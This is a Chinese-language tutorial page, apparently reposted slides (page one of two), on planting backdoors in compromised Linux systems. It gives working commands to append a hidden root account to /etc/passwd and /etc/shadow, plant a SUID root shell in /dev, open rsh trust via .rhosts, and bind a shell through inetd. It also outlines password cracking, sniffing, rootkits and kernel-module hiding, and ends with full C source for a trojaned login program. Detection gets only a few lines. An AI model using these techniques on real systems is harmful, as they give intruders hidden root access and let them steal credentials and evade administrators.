浅析Linux系统后门技术和实践方法
后门简介入侵者完全控制系统后,为方便下次进入而采用的一种技术。<br />
一般通过修改系统配置文件和安装第三方后门工具来实现。<br />
具有隐蔽性,能绕开系统日志,不易被系管理员发现等特点。
常用后门技术
增加超级用户账号<br />
破解/嗅探用户密码<br />
放置SUID Shell<br />
rhosts <br />
利用系统服务程序<br />
TCP/UDP/ICMP Shell<br />
Crontab定时任务<br />
共享库文件<br />
工具包rootkit<br />
可装载内核模块(LKM)
增加超级用户
# echo "e4gle:x:0:0::/:/bin/sh" >><br />
/etc/passwd<br />
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >><br />
/etc/shadow<br />
如果系统不允许uid=0的用户远程登录,<br />
还需要增加一个普通用户账号。
破解/嗅探用户密码
获得shadow文件后,用John the Ripper<br />
工具破解薄弱的用户密码。<br />
安装sniffit等嗅探工具,监听telnet、ftp等<br />
端口,收集用户密码。
放置SUID Shell
# cp /bin/bash /dev/.rootshell<br />
# chmod u s /dev/.rootshell<br />
普通用户在本机运行/dev/.rootshell,即<br />
可获得一个root权限的shell。
rhosts
# echo " " > /.rhosts<br />
# rsh -l root victim.com csh -i<br />
远程可以得到一个rootshell。
利用系统服务程序
修改/etc/inetd.conf,<br />
daytime stream tcp nowait /bin/sh sh -I<br />
用trojan程序替换in.telnetd、in.rexecd等<br />
inted的服务程序<br />
重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP协议<br />
的网络服务程序,在高端口监听,很容易<br />
被发现。<br />
Ping Backdoor,通过ICMP包激活后门,<br />
形成一个Shell通道。<br />
TCP ACK数据包后门,能够穿越防火<br />
墙。
Crontab定时任务
通过Crontab程序调度已安装的后门程序<br />
定时运行,一般在深夜时段,是系统管理<br />
员不在线的时间。
共享库文件
在共享库中嵌入后门函数<br />
使用后门口令激活Shell,获得权限<br />
能够躲避系统管理员对二进制文件本身的<br />
校验
工具包rootkit
包含一系列系统及后门工具:<br />
- 清除日志中的登录记录<br />
- 伪装校验和<br />
- 替换netstat、ps等网络工具<br />
- 后门登录程序<br />
易于安装和使用
可装载内核模块(LKM)
LKM:Loadable Kernel Modules<br />
动态的加载,不需要重新编译内核。<br />
截获系统调用,具有隐藏目录、文件、进<br />
程、网络连接等强大功能。<br />
自身隐蔽性好,发现难度较大。<br />
著名的LKM包有adore和knark。
后门的检测
以自己的经验,结合特定的工具,手工作<br />
一些检测。<br />
使用Tripwire或md5校验来检查系统。<br />
借助IDS系统,监听到目标机器的可疑网<br />
络连接。
实例:login后门
入侵者先把原始的/bin/login备份,再用一<br />
段程序替换/bin/login。入侵者telnet登录<br />
进来的时候,通过环境变量或者终端类型<br />
传递了正确的后门密码,将直接获得一个<br />
Shell;如果是普通用户登录,将会重定<br />
向到原始的login文件,来处理正常的登<br />
录。<br />
最简单的login后门ulogin.c源代码如下:
实例:login后门
#include <stdio.h><br />
#define PASSWORD "passWORD"<br />
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)<br />
int argc;<br />
char **argv, **envp;<br />
{<br />
char *display = getenv("DISPLAY");<br />
if ( display == NULL ) {<br />
execve(_PATH_LOGIN, argv, envp);<br />
perror(_PATH_LOGIN);<br />
exit(1);<br />
}<br />
if (!strcmp(display,PASSWORD)) {<br />
system("/bin/csh");<br />
exit(1);<br />
}<br />
execve(_PATH_LOGIN, argv, envp);<br />
exit(1);<br />
}
<br />
<div class="cupage">上一页<strong>1</strong>2 下一页 阅读全文</div>
頁:
[1]